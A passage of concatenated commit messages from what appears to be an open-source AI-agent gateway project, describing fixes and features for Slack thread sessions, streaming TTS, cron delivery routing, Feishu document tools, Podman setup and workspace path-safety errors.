New session key format: `slack:channel:${channelId}🧵${threadTs}`
2. **Increased thread cache TTL**: Changed from 60 seconds to 6 hours.
Users often pause conversations, and the short TTL caused unnecessary
API calls and thread resolution failures.
3. **Increased cache size**: Changed from 500 to 10,000 entries to support
busy workspaces with many active threads.
1. Create two threads in the same Slack channel
2. In Thread A: tell the bot your name is "Alice" and ask about "billing"
3. In Thread B: tell the bot your name is "Bob" and ask about "API"
4. Reply in Thread A and ask "what's my name?" - should say "Alice"
5. Check sessions: each thread should have a unique session key with 🧵 suffix
Fixes context bleed issues related to #758
* fix(slack): also update resolveSlackSystemEventSessionKey for thread-level sessions
The context.ts file has a separate function for resolving session keys for
system events (reactions, file uploads, etc.). This also needs to support
thread-level sessions to ensure all Slack events route to the correct
thread-specific session.
Added threadTs and messageTs parameters to resolveSlackSystemEventSessionKey
and updated the implementation to use thread-level keys for channels/groups.
* fix(slack): preserve DM thread sessions for thread replies
The previous change broke thread-level sessions for DMs that have threads.
DMs with parent_user_id should still get thread-level sessions.
- For channels/groups: always use thread-level sessions
- For DMs: use thread-level sessions only when isThreadReply is true
* fix(slack): use thread-level sessionKey for previousTimestamp
Fixes the bug where previousTimestamp was read from the base channel
session key (route.sessionKey) instead of the resolved thread-level
sessionKey. This caused the elapsed-time calculation in the inbound
envelope to always pull from the channel session rather than the
thread session.
Also adds regression tests for the thread-level session key behavior.
Co-authored-by: Tony Dehnke <tdehnke@gmail.com>
* fix(slack): narrow #10686 to surgical thread-session patch
* test(slack): satisfy context/account typing in thread-session tests
* docs(changelog): record surgical slack thread-session fix
---------
Co-authored-by: Pablo Carvalho <pablo@telnyx.com>
Co-authored-by: Tony Dehnke <tdehnke@gmail.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(slack): add download-file action for on-demand file attachment access
Adds a new `download-file` message tool action that allows the agent to
download Slack file attachments by file ID on demand. This is a prerequisite
for accessing images posted in thread history, where file attachments are
not automatically resolved.
Changes:
- Add `files` field to `SlackMessageSummary` type so file IDs are
visible in message read results
- Add `downloadSlackFile()` to fetch a file by ID via `files.info`
and resolve it through the existing `resolveSlackMedia()` pipeline
- Register `download-file` in `CHANNEL_MESSAGE_ACTION_NAMES`,
`MESSAGE_ACTION_TARGET_MODE`, and `listSlackMessageActions`
- Add `downloadFile` dispatch case in `handleSlackAction`
- Wire agent-facing `download-file` → internal `downloadFile` in
`handleSlackMessageAction`
Closes#24681
* style: fix formatting in slack-actions and actions
* test(slack): cover download-file action path
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(slack): replace files.uploadV2 with 3-step upload flow
files.uploadV2 from @slack/web-api internally calls the deprecated
files.upload endpoint, which fails with missing_scope even when
files:write is correctly granted in the bot token scopes.
Replace with Slack's recommended 3-step upload flow:
1. files.getUploadURLExternal - get presigned URL + file_id
2. fetch(upload_url) - upload file content
3. files.completeUploadExternal - finalize & share to channel/thread
This preserves all existing behavior including thread replies via
thread_ts and caption via initial_comment.
* fix(slack): harden external upload flow and tests
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(discord,slack): add SSRF policy for media downloads in proxy environments
Discord and Slack media downloads (attachments, stickers, forwarded
images) call fetchRemoteMedia without any ssrfPolicy. When running
behind a local transparent proxy (Clash, mihomo, Shadowrocket) in
fake-ip mode, DNS returns virtual IPs in the 198.18.0.0/15 range,
which the SSRF guard blocks.
Add per-channel SSRF policy constants—matching the pattern already
applied to Telegram on main—that allowlist known CDN hostnames and
set allowRfc2544BenchmarkRange: true.
Refs #25355, #25322
Co-authored-by: Cursor <cursoragent@cursor.com>
* chore(slack): keep raw-fetch allowlist line anchors stable
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(slack): create thread sessions for auto-threaded DM messages
When replyToMode="all", every top-level message starts a new Slack thread.
Previously, only subsequent replies in that thread got an isolated session
(via 🧵<threadTs> suffix). The initial message fell back to the base
DM session, mixing context across unrelated conversations.
Now, when replyToMode="all" and a message is not already a thread reply,
the message's own ts is used as the threadId for session key resolution.
This gives the initial message AND all subsequent thread replies the same
isolated session.
This enables per-thread session isolation for Slack DMs — each new message
starts its own thread and session, keeping conversations separate.
* Slack: fix auto-thread session key mode check and add changelog
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(slack): reject HTML responses when downloading media
Slack sometimes returns HTML login pages instead of binary media when
authentication fails or URLs expire. This change detects HTML responses
by checking content-type header and buffer content, then skips to the
next available file URL.
* fix: format import order and add braces to continue statement
* chore: format Slack media tests
* chore: apply formatter to Slack media tests
* fix(slack): merge auth-header forwarding and html media guard
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(slack): use SLACK_USER_TOKEN when connecting to Slack (closes#26480)
* test(slack): fix account fixture typing for user token source
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(slack): honor direct replyToMode when thread label exists
ThreadLabel is a session/conversation label, not a reliable indicator
of an actual Slack thread reply. Using it to force replyToMode="all"
overrides replyToModeByChatType.direct="off" in DMs.
Switch to MessageThreadId which indicates a real thread target is
available, preserving expected behavior: thread replies stay threaded,
normal DMs respect the configured mode.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Slack: add changelog for threading tool context fix
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat: detect stale Slack sockets and auto-restart
Slack Socket Mode connections can silently stop delivering events while
still appearing connected (health checks pass, WebSocket stays open).
This "half-dead socket" problem causes messages to go unanswered.
This commit adds two layers of protection:
1. **Event liveness tracking**: Every inbound Slack event (messages,
reactions, member joins/leaves, channel events, pins) now calls
`setStatus({ lastEventAt, lastInboundAt })` to update the channel
account snapshot with the timestamp of the last received event.
2. **Health monitor stale socket detection**: The channel health monitor
now checks `lastEventAt` against a configurable threshold (default
30 minutes). If a channel has been running longer than the threshold
and hasn't received any events in that window, it is flagged as
unhealthy and automatically restarted — the same way disconnected
or crashed channels are already handled.
The restart reason is logged as "stale-socket" for observability, and
the existing cooldown/rate-limit logic (3 restarts/hour max) prevents
restart storms.
* Slack: gate liveness tracking to accepted events
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(slack): track thread participation for auto-reply without @mention
* fix(slack): scope thread participation cache by accountId and capture actual reply thread ts
* fix(slack): capture reply thread ts from all delivery paths and only after success
* Slack: add changelog for thread participation cache behavior
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(slack): resolve replyToMode per-message using chat type
The Slack monitor resolved replyToMode once at startup from the
top-level config, ignoring replyToModeByChatType overrides. This caused
DM replies to be threaded even when replyToModeByChatType.direct was
set to "off".
Now the inbound message handler calls resolveSlackReplyToMode(account,
chatType) per-message — the same function already used by the outbound
dock and tool threading context — so per-chat-type overrides take
effect on the inbound path.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Slack: add changelog for per-message replyToMode resolution
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Codex P2: drain coroutine now only clears drainingTts if it's the
same instance (=== check), preventing a newer drain from being
unreachable by stopTts.
- Codex P2: set stopped=true on WebSocket onFailure so subsequent
sendText calls are rejected and stale state doesn't persist.
Agent events arrive on multiple threads concurrently. A stale event
with shorter accumulated text was falsely triggering 'text diverged',
causing the streaming TTS to restart with a new WebSocket — resulting
in multiple simultaneous ElevenLabs connections (2-3 voices) and
eventual system TTS fallback when hasReceivedAudio was false.
Fix: if sentFullText.startsWith(fullText), the event is stale (we
already have this text), not diverged. Accept and ignore it.
- Codex P1: setSpeakerEnabled now syncs talkMode.setPlaybackEnabled
so muting the speaker works when ttsOnAllResponses is active.
- Codex P2: abandonAudioFocus() called in stopSpeaking to prevent
audio focus leak after TTS completes or is interrupted.
- Codex P1: streamAndPlayMp3 was computed but never called after PCM
failure. Now properly invoked as fallback.
- Codex P2: MicCaptureManager.speakAssistantReply now skipped when
TalkModeManager.ttsOnAllResponses is active, preventing both
pipelines from speaking the same assistant reply.
Bug fixes:
- @Synchronized on ElevenLabsStreamingTts.sendText/finish to prevent
sentFullText/sentTextLength races across OkHttp and caller threads
- Pre-set pendingRunId via onRunIdKnown callback before chat.send to
eliminate race where gateway events arrive before runId is stored
- Track drain coroutine as Job; cancel prior on rapid mic toggle to
prevent duplicate TTS and stale transcript sends
- Mic button disabled during 2s drain cooldown (micCooldown StateFlow)
Codex review fixes:
- Gate agent streaming TTS on sessionKey to prevent cross-session
audio leaks (P1)
- Clear ElevenLabs credentials when talk.provider is not elevenlabs;
gate streaming TTS on activeProviderIsElevenLabs (P2)
System TTS fallback fixes:
- Null streamingTts immediately in finishStreamingTts so next response
gets a fresh TTS instance
- Add hasReceivedAudio flag to ElevenLabsStreamingTts to detect when
WebSocket connects but returns no audio (invalid key, network error)
- Fall back to playTtsForText when streaming TTS produced no audio
- Track ttsJob to cleanly cancel prior playTtsForText on new response
- Re-throw CancellationException instead of cascading into fallback
attempts that also get cancelled
ChatController:
- final/aborted/error run events now trigger a history refresh regardless of
whether the runId is in pendingRuns; only delta events require the run to be
tracked (prevents voice-initiated responses from being silently dropped)
MicCaptureManager:
- Don't auto-send on onResults silence detection — accumulate transcript
segments and send when mic is toggled off, giving the recognizer time to
finish processing buffered audio
- Capture any partial live transcript if no final segments arrived (2s drain
window before stop)
- Join multi-segment transcripts with sentence-ending punctuation to avoid
run-on text sent to the gateway
TalkModeManager is instantiated lazily in NodeRuntime and drives ElevenLabs
streaming TTS for all assistant responses when the voice screen is active.
MicCaptureManager continues to own STT and chat.send; TalkModeManager is
TTS-only (ttsOnAllResponses = true, setEnabled never called).
- talkMode.ttsOnAllResponses = true when mic is enabled or voice screen active
- Barge-in: tapping the mic button calls stopTts() before re-enabling mic
- Lifecycle: PostOnboardingTabs LaunchedEffect + VoiceTabScreen onDispose both
call setVoiceScreenActive(false) so TTS stops cleanly on tab switch or
app backgrounding
- applyMainSessionKey wires the session key into TalkModeManager so it
subscribes to the correct chat session for TTS
Streams text to the ElevenLabs WebSocket API and plays audio in real-time
via AudioTrack (PCM 24kHz). Key design points:
- sendText(fullText) takes the full accumulated text and only transmits the
new suffix, detecting divergence for restart
- Chunks are queued if the WebSocket isn't yet connected; flushed in onOpen
- finish() sends EOS to ElevenLabs; deferred if called before onOpen fires
- sendText returns true (not false) when finished=true to avoid treating a
normal end-of-stream as a diverge restart
- finishStreamingTts coroutine uses identity check before nulling streamingTts
to prevent a mid-drain restart from orphaning a live TTS session
- eleven_v3 does NOT support WebSocket streaming; use eleven_flash_v2_5
* feat(ui): add hide-cron toggle to chat session selector
Adds a clock icon toggle button in the chat controls bar that filters
cron sessions out of the session dropdown. Default: hidden (true).
Why: cron sessions (key prefix `cron:`) accumulate fast — a job running
every 15 min produces 48 entries/day. They pollute the session selector
on small screens and devices like the Rabbit R1.
Changes:
- app-render.helpers.ts
- isCronSessionKey() — exported helper (exported for tests)
- countHiddenCronSessions() — counts filterable crons, skips active key
- resolveSessionOptions() — new hideCron param; skips cron: keys
unless that key is the currently active session (never drop it)
- renderCronFilterIcon() — clock SVG with optional badge count
- renderChatControls() — reads state.sessionsHideCron (default true),
passes hideCron to resolveSessionOptions, adds toggle button at the
end of the controls bar showing hidden count as a badge
- app-view-state.ts — adds sessionsHideCron: boolean to AppViewState
- app.ts — @state() sessionsHideCron = true (persists across re-renders)
- app-render.helpers.node.test.ts — tests for isCronSessionKey
* fix(ui): harden cron session filtering and i18n labels
---------
Co-authored-by: FLUX <flux@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(cron): guard list sorting against malformed legacy jobs
Prevent list operations from crashing when old or corrupted cron entries are missing name/id fields by hardening sort comparators.
Closes#28862
* cron: format list sort guard test imports
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Backfill legacy jobs that still use schedule.cron and jobId so upgraded instances keep firing existing cron schedules instead of failing silently.
Closes#28861
buildStatusMessage resolved thinkLevel, verboseLevel, and reasoningLevel
without falling back to sessionEntry, unlike elevatedLevel which already
had this fallback. When session_status tool calls buildStatusMessage
without passing resolvedThink/resolvedVerbose/resolvedReasoning, the
levels always fell back to agent defaults or "off", ignoring the
runtime-set session values.
Add sessionEntry fallback for thinkingLevel, verboseLevel, and
reasoningLevel, consistent with how elevatedLevel already works.
Closes#30126
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
LaunchAgent plist hardcodes ThrottleInterval to 60 in src/daemon/launchd-plist.ts
That means every restart/install path that terminates the launchd-managed gateway gets delayed by launchd’s one-minute relaunch throttle. The CLI restart path in src/daemon/launchd.ts is doing the expected supervisor actions, but the plist policy makes those actions look hung.
In src/daemon/launchd-plist.ts:
- added LAUNCH_AGENT_THROTTLE_INTERVAL_SECONDS
- reduced the LaunchAgent ThrottleInterval from 60 to 1
* fix(browser): resolve correct targetId in navigate response after renderer swap
When `navigateViaPlaywright` triggers a Chrome renderer-process swap
(e.g. navigating from chrome-extension:// to https://), the old
`tab.targetId` captured before navigation becomes stale. The `/navigate`
route previously returned this stale targetId in its response.
After navigation, re-resolve the current tab by matching against the
final URL via `profileCtx.listTabs()`. If the old target is already gone
but the new one is not yet visible (extension re-attach in progress),
retry after 800ms.
Follow-up to #19744 (67bac62c2) which fixed the extension-side stale
session cleanup.
* fix(browser): prefer non-stale targetId when multiple tabs share the same URL
When multiple tabs have the same URL after navigation, find() could pick
a pre-existing tab instead of the newly created one. Now only re-resolve
when the old target is gone (renderer swap detected), and prefer the tab
whose targetId differs from the old one.
* fix(browser): encapsulate targetId resolution logic after navigation
Introduced a new function `resolveTargetIdAfterNavigate` to handle the resolution of the correct targetId after a navigation event that may trigger a renderer swap. This refactor improves code clarity and reuses the logic for determining the current targetId, ensuring that the correct tab is identified even when multiple tabs share the same URL.
* refactor(tests): simplify listTabs initialization in agent snapshot tests
Updated the initialization of listTabs in the agent snapshot tests for better readability by removing unnecessary line breaks. This change enhances code clarity without altering the test logic.
* fix(ui): widen Set type to accept string tokens in external-link helper
* chore: retrigger CI (unrelated Windows flaky test)
Co-authored-by: Cursor <cursoragent@cursor.com>
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: sed escaping and UID mismatch in Podman Quadlet setup
Fix two bugs in the Podman/Quadlet installation path:
1. setup-podman.sh line 227: Remove `/` from sed escape character class.
The sed substitution uses `|` as delimiter, so `/` doesn't need
escaping. Including it causes paths like `/home/openclaw` to become
`\/home\/openclaw`, which Podman rejects as invalid volume names.
2. openclaw.container.in: Add `User=%U:%G` after `UserNS=keep-id`.
The Dockerfile sets `USER node` (UID 1000), but the `openclaw` system
user created by setup-podman.sh may get a different UID (e.g., 1001).
Without `User=%U:%G`, the container process runs as UID 1000 and
cannot read config files owned by the openclaw user.
Closes#26400
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* scripts: extract quadlet sed replacement escaping helper
* podman: document quadlet user mapping rationale
* scripts: correct sed replacement escaping for pipe delimiter
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(cron): pass heartbeat target=last for main-session cron jobs
When a cron job with sessionTarget=main and wakeMode=now fires, it
triggers a heartbeat via runHeartbeatOnce. Since e2362d35 changed the
default heartbeat target from "last" to "none", these cron-triggered
heartbeats silently discard their responses instead of delivering them
to the last active channel (e.g. Telegram).
Fix: pass heartbeat: { target: "last" } from the cron timer to
runHeartbeatOnce for main-session jobs, and wire the override through
the gateway cron service builder. This restores delivery for
sessionTarget=main cron jobs without reverting the intentional default
change for regular heartbeats.
Regression introduced in: e2362d35 (2026-02-25)
Fixes#28508
* Cron: align server-cron wake routing expectations for main-target jobs
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix: clear delivery routing state when creating isolated cron sessions
When `resolveCronSession()` creates a new session (forceNew / isolated),
the `...entry` spread preserves `lastThreadId`, `lastTo`, `lastChannel`,
and `lastAccountId` from the prior session. This causes announce-mode
cron deliveries to post as thread replies instead of channel top-level
messages when `delivery.to` matches the channel of a prior conversation.
Clear delivery routing metadata on new session creation so isolated
cron sessions start with a clean delivery state.
Closes#27751✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
* fix: also clear deliveryContext to prevent lastThreadId repopulation
normalizeSessionEntryDelivery (called on store writes) repopulates
lastThreadId from deliveryContext.threadId. Clearing only the last*
fields is insufficient — deliveryContext must also be cleared when
creating a new isolated session.
✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
Cron announce flow treated queued/steered outcomes as delivered even when no direct outbound send was confirmed, which could report false-positive delivery state. This change keeps cron delivery strict: only direct-path announce results count as delivered.
Closes#29660
Ignore persisted sessionKey overrides for sessionTarget=main jobs so cron system events consistently route to the agent main session after upgrades.
Closes#28770
When a cron job's delivery target resolution fails (resolvedDelivery.ok
is false), the agent was still started with requireExplicitMessageTarget:
true. This caused "Action send requires a target" errors because the
agent's message tool demanded a target that was never resolved.
Condition the flag on both deliveryRequested AND resolvedDelivery.ok so
the agent can still use messaging tools freely when no valid delivery
target exists.
Fixes#27898
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* feat(cron): add --account flag for multi-account delivery routing
Add support for explicit delivery account routing in cron jobs across CLI, normalization, delivery planning, and isolated delivery target resolution.
Highlights:
- Add --account <id> to cron add and cron edit
- Add optional delivery.accountId to cron types and delivery plan
- Normalize and trim delivery.accountId in cron create/update normalization
- Prefer explicit accountId over session lastAccountId and bindings fallback
- Thread accountId through isolated cron run delivery resolution
- Preserve cron edit --best-effort-deliver/--no-best-effort-deliver behavior by keeping implicit announce mode
- Expand tests for account passthrough/merge/precedence and CLI account flows
* cron: resolve rebase duplicate accountId fields
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(feishu): add markdown tables, insert, color_text, table ops, and image fixes
Extends feishu_doc on top of #20304 with capabilities that are not yet covered:
Markdown → native table rendering:
- write/append now use the Descendant API instead of Children API,
enabling GFM markdown tables (block_type 31/32) to render as native
Feishu tables automatically
- Adaptive column widths calculated from cell content (CJK chars 2x weight)
- Batch insertion for large documents (>1000 blocks, docx-batch-insert.ts)
New actions:
- insert: positional markdown insertion after a given block_id
- color_text: apply color/bold to a text block via [red]...[/red] markup
- insert_table_row / insert_table_column: add rows or columns to a table
- delete_table_rows / delete_table_columns: remove rows or columns
- merge_table_cells: merge a rectangular cell range
Image upload fixes (affects write, append, and upload_image):
- upload_image now accepts data URI and plain base64 in addition to
url/file_path, covering DALL-E b64_json, canvas screenshots, etc.
- Fix: pass Buffer directly to drive.media.uploadAll instead of
Readable.from(), which caused Content-Length mismatch for large images
- Fix: same Readable bug fixed in upload_file
- Fix: pass drive_route_token via extra field for correct multi-datacenter
routing (per API docs: required when parent_node is a document block ID)
* fix(feishu): add documentBlockDescendant mock to docx.test.ts
write/append now use the Descendant API (documentBlockDescendant.create)
instead of Children API. The existing test mock was missing this SDK
method, causing processImages to never be reached and fetchRemoteMedia
to go uncalled.
Added blockDescendantCreateMock returning an image block so the
'skips image upload when markdown image URL is blocked' test flows
through processImages as expected.
* fix(feishu): address bot review feedback
- resolveUploadInput: remove length < 1024 guard on file path detection.
Prefix patterns (isAbsolute / ~ / ./ / ../) already correctly distinguish
file paths from base64 strings at any length. The old guard caused file
paths ≥1024 chars to fall through to the base64 branch incorrectly.
- parseColorMarkup: add comment clarifying that mismatched closing tags
(e.g. [red]text[/green]) are intentional — opening tag style is applied,
closing tag is consumed regardless of name.
* fix(feishu): address second-round codex bot review feedback
P1 - Reject single oversized subtrees in batch insert (docx-batch-insert.ts):
A first-level block whose descendant count exceeds BATCH_SIZE (1000) cannot
be split atomically (e.g. a very large table). Previously such a block was
silently added to the current batch and sent as an oversized request,
violating the API limit. Now throws a descriptive error so callers know to
reduce the content size.
P2 - Preserve unmatched brackets in color markup parser (docx-color-text.ts):
Text like 'Revenue [Q1] up' contains a bracket pair with no matching '[/...]'
closer. The original regex dropped the '[' character in this case, silently
corrupting the text. Fixed by appending '|\[' to the plain-text alternative
so any '[' that does not open a complete tag is captured as literal text.
* fix(feishu): address third-round codex bot review feedback
P2 - Throw ENOENT for non-existing absolute image paths (docx.ts):
Previously a non-existing absolute path like /tmp/missing.png fell
through to Buffer.from(..., 'base64') and uploaded garbage bytes.
Now throws a descriptive ENOENT error and hints at data URI format
for callers intending to pass JPEG binary data (which starts with /9j/).
P2 - Fail clearly when insert anchor block is not found (docx.ts):
insertDoc previously set insertIndex to -1 (append) when after_block_id
was absent from the parent's child list, silently inserting at the wrong
position. Two fixes:
1. Paginate through all children (documentBlockChildren.get returns up to
200 per page) before searching for the anchor.
2. Throw a descriptive error if after_block_id is still not found after
full pagination, instead of silently falling back to append.
* fix(feishu): address fourth-round codex bot review feedback
- Enforce mutual exclusivity across all three upload sources (url, file_path,
image): throw immediately when more than one is provided, instead of silently
preferring the image branch and ignoring the others.
- Validate plain base64 payloads before decoding: reject strings that contain
characters outside the standard base64 alphabet ([A-Za-z0-9+/=]) so that
malformed inputs fail fast with a clear error rather than decoding to garbage
bytes and producing an opaque Feishu API failure downstream.
Also throw if the decoded buffer is empty.
* fix(feishu): address fifth-round codex bot review feedback
- parseColorMarkup: restrict opening tag regex to known colour/style names
(bg:*, bold, red, orange, yellow, green, blue, purple, grey/gray) so that
ordinary bracket tokens like [Q1] can no longer consume a subsequent real
closing tag ([/red]) and corrupt the surrounding styled spans. Unknown tags
now fall through to the plain-text alternatives and are emitted literally.
- resolveUploadInput: estimate decoded byte count from base64 input length
(ceil(len * 3 / 4)) BEFORE allocating the full Buffer, preventing oversized
payloads from spiking memory before the maxBytes limit is enforced. Applies
to both the data-URI branch and the plain-base64 branch.
* fix(feishu): address sixth-round codex bot review feedback
- docx-table-ops: apply MIN/MAX_COLUMN_WIDTH clamping in the empty-table
branch so tables with 15+ columns don't produce sub-50 widths that Feishu
rejects as invalid column_width values.
- docx.ts (data URI branch): validate the ';base64' marker before decoding
so plain/URL-encoded data URIs are rejected with a clear error; also validate
the payload against the base64 alphabet (same guard already applied in the
plain-base64 branch) so malformed inputs fail fast rather than producing
opaque downstream Feishu errors.
* Feishu: align docx descendant insertion tests and changelog
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(feishu): add parentId and rootId to inbound context
Add ParentMessageId and RootMessageId fields to Feishu inbound message context,
enabling agents to:
- Identify quoted/replied messages
- Fetch original message content via Feishu API
- Build proper message thread context
The parent_id and root_id fields already exist in FeishuMessageContext but were
not being passed to the agent's inbound context.
Fixes: Allows proper handling of quoted card messages and message thread reconstruction.
* feat(feishu): parse interactive card content in quoted messages
Add support for extracting readable text from interactive card messages
when fetching quoted/replied message content.
Previously, only text messages were parsed. Now interactive cards
(with div and markdown elements) are also converted to readable text.
* 更新 bot.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
* fix(types): add RootMessageId to MsgContext type definition
* style: fix formatting in bot.ts
* ci: trigger rebuild
* ci: retry flaky tests
* Feishu: add reply-context and interactive-quote regressions
---------
Co-authored-by: qiangu <qiangu@qq.com>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: 牛牛 <niuniu@openclaw.ai>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Address Greptile review: add explicit "outside-workspace" case to
toSaveMediaSourceError so it returns "Media path is outside workspace
root" instead of the generic "Media path is not safe to read".
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When editing a file outside the workspace root, SafeOpenError previously
used the "invalid-path" code with the message "path escapes root". This
was indistinguishable from other invalid-path errors (hardlinks, symlinks,
non-files) and consumers often fell back to a generic "not found" message,
which was misleading.
Add a new "outside-workspace" error code with the message "file is outside
workspace root" so consumers can surface a clear, accurate error message.
- fs-safe.ts: add "outside-workspace" to SafeOpenErrorCode, use it for
all path-escapes-root checks in openFileWithinRoot/writeFileWithinRoot
- pi-tools.read.ts: map "outside-workspace" to EACCES instead of rethrowing
- browser/paths.ts: return specific "File is outside {scopeLabel}" message
- media/server.ts: return 400 with descriptive message for outside-workspace
- fs-safe.test.ts: update traversal test expectations
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(doctor): detect groupPolicy=allowlist with empty groupAllowFrom
The existing `detectEmptyAllowlistPolicy` check only covers
`dmPolicy="allowlist"` with empty `allowFrom`. After the .26 security
hardening (`resolveDmGroupAccessDecision` fails closed on empty
allowlists), `groupPolicy="allowlist"` without `groupAllowFrom` or
`allowFrom` silently drops all group/channel messages with only a
verbose-level log.
Add a parallel check: when `groupPolicy` is `"allowlist"` and neither
`groupAllowFrom` nor `allowFrom` has entries, surface a doctor warning
with remediation steps.
Closes#27552
* fix: align empty-array semantics with runtime resolveGroupAllowFromSources
The runtime treats groupAllowFrom: [] as unset and falls back to
allowFrom, but the doctor check used ?? which treats [] as authoritative.
This caused a false warning when groupAllowFrom was explicitly empty but
allowFrom had entries.
Match runtime behavior: treat empty groupAllowFrom arrays as unset
before falling back to allowFrom.
* fix: scope group allowlist check to sender-based channels only
* fix: align doctor group allowlist semantics (#28477) (thanks @tonydehnke)
---------
Co-authored-by: mukhtharcm <mukhtharcm@gmail.com>
* Gateway: allow Google Fonts stylesheet and font CDN in Control UI CSP
* Tests: assert Control UI CSP allows required Google Fonts origins
* Gateway: fix CSP comment for Google Fonts allowlist intent
* Tests: split dedicated Google Fonts CSP assertion
* fix(tts): use opus format and enable voice bubbles for feishu and whatsapp
Previously only Telegram received opus output and had `shouldVoice=true`.
Feishu and WhatsApp also support voice-bubble playback and require opus audio,
but were falling back to mp3 with `audioAsVoice=false`.
- Extract VOICE_BUBBLE_CHANNELS set (telegram, feishu, whatsapp)
- resolveOutputFormat: return TELEGRAM_OUTPUT (opus) for all voice-bubble channels
- shouldVoice: enable for all voice-bubble channels, not just telegram
- Update test to cover feishu and whatsapp cases
* Changelog: add TTS voice-bubble channel coverage note
---------
Co-authored-by: Ning Hu <ninghu@Nings-MacBook-Pro.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* feat(feishu): extract embedded video/media from post (rich text) messages
Previously, parsePostContent() only extracted embedded images (img tags)
from rich text posts, ignoring embedded video/audio (media tags). Users
sending post messages with embedded videos would not have the media
downloaded or forwarded to the agent.
Changes:
- Extend parsePostContent() to also collect media tags with file_key
- Return new mediaKeys array alongside existing imageKeys
- Update resolveFeishuMediaList() to download embedded media files
from post messages using the messageResource API
- Add appropriate logging for embedded media discovery and download
* Feishu: keep embedded post media payloads type-safe
* Feishu: format post parser after media tag extraction
---------
Co-authored-by: laopuhuluwa <laopuhuluwa@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Respect groupConfig.enabled flag (was parsed but never enforced)
- Fix misleading log: group allowlist rejection now logs group ID and
policy instead of sender open_id
* feat(feishu): parse post rich text as markdown
* chore: rerun ci
* Feishu: resolve post parser rebase conflicts and gate fixes
---------
Co-authored-by: Wilson Liu <wilson.liu@example.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
## Summary
- honor Feishu wildcard group policy fallback via `channels.feishu.groups["*"]` when no explicit group entry matches
- keep exact and case-insensitive explicit group matches higher precedence than wildcard fallback
- add changelog credit and TypeScript-safe test assertions
## Verification
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini
Co-authored-by: Wayne Pika <262095977+WaynePika@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Add an optional `header` parameter to `FeishuStreamingSession.start()`
so that streaming cards can display a colored title bar, matching the
appearance of non-streaming interactive cards.
The Card Kit API already supports `header` alongside `streaming_mode`,
but the current implementation omits it, producing headerless cards.
This change is fully backward-compatible: when `header` is not provided,
behavior is identical to before.
Closes#13267 (partial)
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): pass proxy agent to WSClient for environments behind HTTPS proxy
The Lark SDK WSClient uses the `ws` library which does not automatically
respect https_proxy/HTTP_PROXY environment variables. This causes WebSocket
connection failures in proxy environments (e.g. WSL2 with a local proxy).
Detect proxy env vars and pass an HttpsProxyAgent to WSClient via the
existing `agent` constructor option.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): add generic type parameter to HttpsProxyAgent return type
Fix TS2314: `HttpsProxyAgent<Uri>` requires a type argument.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): wire ws proxy dependency and coverage
* chore(lockfile): resolve axios peer lock entry after rebase
---------
Co-authored-by: lirui <lirui@fxiaoke.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(feishu): chunk large documents for write/append to avoid API 400 errors
The Feishu API limits documentBlockChildren.create to 50 blocks per
request and document.convert has content size limits for large markdown.
Previously, writeDoc and appendDoc would send the entire content in a
single API call, causing HTTP 400 errors for long documents.
This commit adds:
- splitMarkdownByHeadings(): splits markdown at # or ## headings
- chunkedConvertMarkdown(): converts each chunk independently
- chunkedInsertBlocks(): batches blocks into groups of ≤50
Both writeDoc and appendDoc now use the chunked helpers while
